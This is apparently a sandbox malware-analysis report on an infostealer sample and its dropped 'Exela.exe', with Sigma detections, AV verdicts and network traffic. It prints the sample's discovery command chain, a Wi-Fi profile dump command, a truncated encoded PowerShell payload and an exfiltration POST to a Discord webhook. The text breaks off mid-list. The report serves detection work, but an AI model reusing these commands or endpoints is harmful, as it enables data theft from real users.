Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net user, CommandLine: net user, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7244, ParentProcessName: cmd.exe, ProcessCommandLine: net user, ProcessId: 7700, ProcessName: net.exe

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net user, CommandLine: net user, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7244, ParentProcessName: cmd.exe, ProcessCommandLine: net user, ProcessId: 7700, ProcessName: net.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe Get-Clipboard, CommandLine: powershell.exe Get-Clipboard, CommandLine|base64offset|contains: ~Xn, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2588, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe Get-Clipboard, ProcessId: 7176, ProcessName: powershell.exe

Sigma detected: SC.EXE Query Execution

Source: Process started

Author: frack113: Data: Command: sc query type= service state= all, CommandLine: sc query type= service state= all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7244, ParentProcessName: cmd.exe, ProcessCommandLine: sc query type= service state= all, ProcessId: 8036, ProcessName: sc.exe

Sigma detected: Suspicious Execution of Hostname

Source: Process started

Author: frack113: Data: Command: hostname, CommandLine: hostname, CommandLine|base64offset|contains: -, Image: C:\Windows\System32\HOSTNAME.EXE, NewProcessName: C:\Windows\System32\HOSTNAME.EXE, OriginalFileName: C:\Windows\System32\HOSTNAME.EXE, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7244, ParentProcessName: cmd.exe, ProcessCommandLine: hostname, ProcessId: 7544, ProcessName: HOSTNAME.EXE

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", CommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\rename_me_before.exe", ParentImage: C:\Users\user\Desktop\rename_me_before.exe, ParentProcessId: 3512, ParentProcessName: rename_me_before.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administ

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7624, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKA

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\rename_me_before.exe", ParentImage: C:\Users\user\Desktop\rename_me_before.exe, ParentProcessId: 3512, ParentProcessName: rename_me_before.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", ProcessId: 7256, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: rename_me_before.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe

Avira: detection malicious, Label: TR/Redcap.woxyt

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe

ReversingLabs: Detection: 57%

Multi AV Scanner detection for submitted file

Source: rename_me_before.exe	Virustotal: Detection: 67%			Perma Link
Source: rename_me_before.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.5% probability

Phishing

Overwrites the password of the administrator account

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator

Source: rename_me_before.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.pdb source: powershell.exe, 00000045.00000002.1826414031.000001DBC0644000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_uuid.pdb source: rename_me_before.exe, 00000000.00000003.1661117895.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, _uuid.pyd.0.dr
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.pdbhP source: powershell.exe, 00000045.00000002.1826414031.000001DBC0644000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \ia.pdbc source: powershell.exe, 00000045.00000002.1848424397.000001DBD74B3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: rename_me_before.exe, 00000000.00000003.1659342426.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: rename_me_before.exe, 00000000.00000003.1659342426.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: rename_me_before.exe, 00000000.00000003.1664519798.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1981233285.000001B17FDC0000.00000002.00000001.01000000.00000006.sdmp

Spreading

Performs a network lookup / discovery via ARP

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a

Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404E79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF6404E79B0
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404E85A0 FindFirstFileExW,FindClose,	0_2_00007FF6404E85A0
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF640500B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF640500B84
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404E85A0 FindFirstFileExW,FindClose,	1_2_00007FF6404E85A0
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404E79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00007FF6404E79B0
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF640500B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF640500B84

Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg	Jump to behavior

Networking

Uses netstat to query active network connections and open ports

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 162.159.137.232 162.159.137.232

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /getServer HTTP/1.1Host: api.gofile.ioAccept: /Accept-Encoding: gzip, deflateUser-Agent: Python/3.11 aiohttp/3.9.5
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comAccept: /Accept-Encoding: gzip, deflateUser-Agent: Python/3.11 aiohttp/3.9.5

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: canary.discord.com
Source: global traffic	DNS traffic detected: DNS query: api.gofile.io
Source: global traffic	DNS traffic detected: DNS query: store1.gofile.io

Source: unknown

HTTP traffic detected: POST /api/webhooks/1263157181906419813/b4pV0iwlt5KWRU4QEOMzoONBAdBMW4nt-dNtrU5B2-50jsFyHabL0Uos8mtD0ZVFUQNS HTTP/1.1Host: canary.discord.comContent-Type: application/jsonAccept: */*Accept-Encoding: gzip, deflateUser-Agent: Python/3.11 aiohttp/3.9.5Content-Length: 1381

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.27.1Date: Wed, 01 Jan 2025 01:53:24 GMTContent-Type: text/html; charset=utf-8Content-Length: 14Connection: closeAccess-Control-Allow-Origin: *Access-Control-Allow-Headers: Content-Type, AuthorizationAccess-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEADAccess-Control-Allow-Credentials: trueContent-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requestsCross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: cross-originOrigin-Agent-Cluster: ?1Referrer-Policy: no-referrerStrict-Transport-Security: max-age=15552000; includeSubDomainsX-Content-Type-Options: nosniffX-DNS-Prefetch-Control: offX-Download-Options: noopenX-Frame-Options: SAMEORIGINX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 0ETag: W/"e-18wLxDNka2j9cTg7gpgujtuBb1A"

Source: rename_me_before.exe, 00000000.00000003.1663922956.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi
Source: rename_me_before.exe, 00000000.00000003.1663581337.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.co
Source: rename_me_before.exe, 00000000.00000003.1660090231.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1663581337.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1659883292.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660201204.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1659578842.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1663922956.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660419536.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1664519798.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661117895.000001CF0A29D000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660337628.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1665033883.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1665318433.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1665033883.000001CF0A29F000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660005362.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1659482389.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1665125906.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660337628.000001CF0A29D000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1663988255.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660201204.000001CF0A29D000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1659790847.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661117895.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: rename_me_before.exe, 00000000.00000003.1660090231.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1663581337.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1659883292.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660201204.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1659578842.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1663922956.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660419536.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1664519798.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660337628.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1665033883.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1665318433.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660005362.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1659482389.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1665125906.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1663988255.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1659790847.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661117895.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1664664141.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660274517.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1664424670.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660916713.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: rename_me_before.exe, 00000000.00000003.1660090231.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1663581337.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1659883292.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660201204.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1659578842.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1663922956.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660419536.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1664519798.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660337628.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1665033883.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1665318433.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660005362.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1659482389.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1665125906.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 